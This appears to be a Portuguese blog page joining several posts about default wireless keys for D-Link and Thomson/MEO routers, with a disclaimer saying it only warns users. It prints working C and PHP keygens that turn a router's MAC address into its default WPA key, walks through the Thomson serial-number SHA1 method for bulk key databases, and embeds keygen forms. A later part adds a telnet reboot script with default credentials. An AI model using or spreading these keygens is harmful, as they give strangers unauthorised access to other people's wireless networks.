Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.

Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.

Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:

Em C by Xpt0niX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

/*     0= X
 1= r
 2= q
 3= a
 4= H
 5= N
 6= p
 7= d
 8= S
 9= Y
 A= w
 B= 8
 C= 6
 D= 2
 E= 1
 F= 5

 Based on a MAC address:
 12  34  56  78  9a  bc

 Pattern of the mixing char must be:
 c1  b2  a3  94  85  76  27  9a  c3  5b

 The final Result for the WPA/SPK key is:
 6r 8q wa YH SN dp qd Yw 6a N8
*/

int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
 int i,j;

 if (mac==NULL) return 1;
 for (j=0,i=0;i<17;i++)
 if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_')
 str[j++] = mac[i];
 return 0;
}

#ifdef IFX_MULTILIB_UTIL
#define main    wpakeygen_main
#endif

int main(int argc, char **argv)
{
 unsigned char mac[12],key[20],newkey[20];
 int i,j,index;
 char t;

 char hash[16] =  { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};

 if (argc !=2 )
 {
 printf("Usage: wpakeygen {MAC}\n");
 printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
 return 0;
 }

 Alpha_MACString_Remove_Separator(argv[1], mac);
 key[0]=mac[11];
 key[1]=mac[0];

 key[2]=mac[10];
 key[3]=mac[1];

 key[4]=mac[9];
 key[5]=mac[2];

 key[6]=mac[8];
 key[7]=mac[3];

 key[8]=mac[7];
 key[9]=mac[4];

 key[10]=mac[6];
 key[11]=mac[5];

 key[12]=mac[1];
 key[13]=mac[6];

 key[14]=mac[8];
 key[15]=mac[9];

 key[16]=mac[11];
 key[17]=mac[2];

 key[18]=mac[4];
 key[19]=mac[10];

 //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);

 for (i=0;i<20;i++)
 {
 t=key[i];
 if ((t >= '0') && (t <= '9'))
 index = t-'0';
 else
 {
 t=toupper(t);
 if ((t >= 'A') && (t <= 'F'))
 index = t-'A'+10;
 else return 1;
 }

 newkey[i]=hash[index];
 }

 printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);

 return 0;
}

Em PHP by NarG

<?php
//
$mac = "123456780ABC";
echo gerador($mac);

function gerador($mac) {
 $key = "XXXXXXXXXXXXXXXXXXXX";
 for($i=0;$i<strlen($mac);$i++) {

 switch ($i) {
 case 0:
 $key[1] = dicionario($mac[$i]);
 break;
 case 1:
 $key[3] = dicionario($mac[$i]);
 $key[12] = dicionario($mac[$i]);
 break;
 case 2:
 $key[5] = dicionario($mac[$i]);
 $key[17] = dicionario($mac[$i]);
 break;
 case 3:
 $key[7] = dicionario($mac[$i]);
 break;
 case 4:
 $key[9] = dicionario($mac[$i]);
 $key[18] = dicionario($mac[$i]);
 break;
 case 5:
 $key[11] = dicionario($mac[$i]);
 break;
 case 6:
 $key[10] = dicionario($mac[$i]);
 $key[13] = dicionario($mac[$i]);
 break;
 case 7:
 $key[8] = dicionario($mac[$i]);
 break;
 case 8:
 $key[6] = dicionario($mac[$i]);
 $key[14] = dicionario($mac[$i]);
 break;
 case 9:
 $key[15] = dicionario($mac[$i]);
 $key[4] = dicionario($mac[$i]);
 break;
 case 10:
 $key[2] = dicionario($mac[$i]);
 $key[19] = dicionario($mac[$i]);
 break;
 case 11:
 $key[0] = dicionario($mac[$i]);
 $key[16] = dicionario($mac[$i]);
 break;
 }
 }
 return $key;
}

function dicionario($letra) {
 $letra = strtoupper($letra);
 switch ($letra) {
 case "1":
 return "r";
 break;
 case "2":
 return "q";
 break;
 case "3":
 return "a";
 break;
 case "4":
 return "H";
 break;
 case "5":
 return "N";
 break;
 case "6":
 return "p";
 break;
 case "7":
 return "d";
 break;
 case "8":
 return "S";
 break;
 case "9":
 return "Y";
 break;
 case "0":
 return "X";
 break;
 case "A":
 return "w";
 break;
 case "B":
 return "8";
 break;
 case "C":
 return "6";
 break;
 case "D":
 return "2";
 break;
 case "E":
 return "1";
 break;
 case "F":
 return "5";
 break;
 default:
 return false;
 break;
 }
}

?>

Para gerar a chave é necessário ver qual é o mac-address da rede em causa que normalmente é do genero YYYYYYXXXXXX onde o XXXXXX é o nome da rede Dlink-XXXXXX, para tal usem um programa qualquer de detecção de redes wireless tipo NetStumbler, ou no Linux usem o comando iwlist [interface] scan.

Insiram abaixo o mac-address sem espaços nem barras apenas números e letras

[include file=/meo/dlink.php iframe=true width=200 height=90]
Password case-sensitive (Sensivel a Maiusculas/Minusculas)

Quero agradecer ao leitor coelho por ter facultado o programa para o efeito, foi graças a esse programa que determinei a forma como as mesmas são geradas, desconhecendo eu a autoria do programa, agradeço também ao autor do mesmo.

O gerador de keys foi feito em tempo recorde portanto agradecia que testem e digam o resultado do teste.

Aqui está a ultima versão deste pequeno aplicativo que espero eu ser de utilidade, com esta nova versão existe a possibilidade de correrem o programa “programa.exe -s 192.168.1.254″ (-s de silent mode), o qual executa automaticamente e fecha-se após o reinicio da net.

Meo Restarter

Meo Restarter2 with ocx

O programa nao foi completamente testado devido à falta de tempo, testem e digam alguma coisa.

Qualquer exclarecimento adicional respondo por comentário.

A base de todo o algoritmo passa pelo numero de série dos routers Thomson/Speedtouch que é do tipo: CP0817AH1AB (A1)

CP YY WW PP XXX (CC)

Onde cada um têm o seu próprio significado:

YY - Ano de Fabrico
WW – Semana de Fabrico
PP – Código do Produto
XXX - Desconhecido
CC – Código de Configuração

O valor XXX é desconhecido e deverá sempre ser um valor composto por letras maiúsculas e números como podem ver neste Dicionário que criei.

• Olhamos então para o exemplo CP0817AH1AB (A1) retiramos o CC e o PP e ficará:CP08171AB

• Convertemos o 1AB para hexadecimal que nos dará 314142 em hexadecimal ficando assim

  CP0817314142

• Criamos o hash sha1 do texto anterior o que nos dará bc8c18aec9e740c37be79e7f2058c50fd922e4bb

  Onde o 22e4bb é o SSID deste numero de série Thomson22E4BB e bc8c18aec9 é a chave de rede wep/wpa

E é tudo o que é necessário para criar todas as chaves possíveis, sabemos que o ano vai de 00 a 10, a semana vai de 01 a 52, resta-nos criar uma BD ou um ficheiro de texto com todas as possibilidades de forma a que quando fôr necessário têr todas já geradas.

Relativamente ao MEO apenas gerei chaves para 2007,2008,2009, e acho que apanha todos os routers visto julgar n terem sido fabricados antes de 2007, 3 anos numa BD ocupam-me cerca de 250Mb.

O algoritmo de calculo é bastante simples, mais tarde irei explicar o método de obtenção das mesmas.
Aqui em baixo basta colocarem os números e letras do ssid e darvos-à a chave wpa predefinida do router.
MEO Keys
[include file=/meo/meo.php iframe=true width=200 height=170]

Trata-se de uma aplicação bastante simples e funcional que reinicia a ligação do Router da MEO em cerca de 1 segundo, enviando comandos através do CLI.

Apenas é necessário alterar o endereço de IP caso não seja o por defeito.

Útil para não ter de esperar tempo no RapidShare.

Inicio do programa

Após clicar em “Restart Conection”

Download
Download caso deia erro de OCX
password do zip: fodi.me
OCX’s usadas: MSCOMCTL.OCX, MSWINSCK.OCX

Pretendes o mesmo para o teu router ? Envia a marca e modelo por comentário.

Isto apenas foi testado neste router, mas funcionará em qualquer router que tenha CLI em que o mesmo tenha o comando de reiniciar.

Criamos um ficheiro com o nome reboot.vbs com o codigo abaixo, no qual mudamos o que está a negrito pelos dados do nosso router, (IP, Username,Password)

'FICHEIRO REBOOT.VBS
------------------------------------------------------------------
' Script desenvolvido e testado para router THOMSON TG787
' More Info:
' http://fodi.me/internet/reiniciar-router-thomson-tg787-com-um-click/
' -----------------------------------------------------------------------------
Set oShell = CreateObject("WScript.Shell")
oShell.run "cmd.exe"
WScript.Sleep 500
oShell.SendKeys "telnet 192.168.1.1"
oShell.SendKeys ("{Enter}")
WScript.Sleep 1000
oShell.SendKeys "Administrator"
oShell.SendKeys ("{Enter}")
WScript.Sleep 500
oShell.SendKeys "password"
oShell.SendKeys ("{Enter}")
WScript.Sleep 500
oShell.SendKeys "system"
oShell.SendKeys ("{Enter}")
WScript.Sleep 500
oShell.SendKeys "reboot"
oShell.SendKeys ("{Enter}")
WScript.Sleep 500
oShell.SendKeys "% "

Qualquer duvida ou problema de funcionamento deixem comentário.
Se tens um router e gostarias de saber se este metodo funciona para o teu modelo, deixa comentário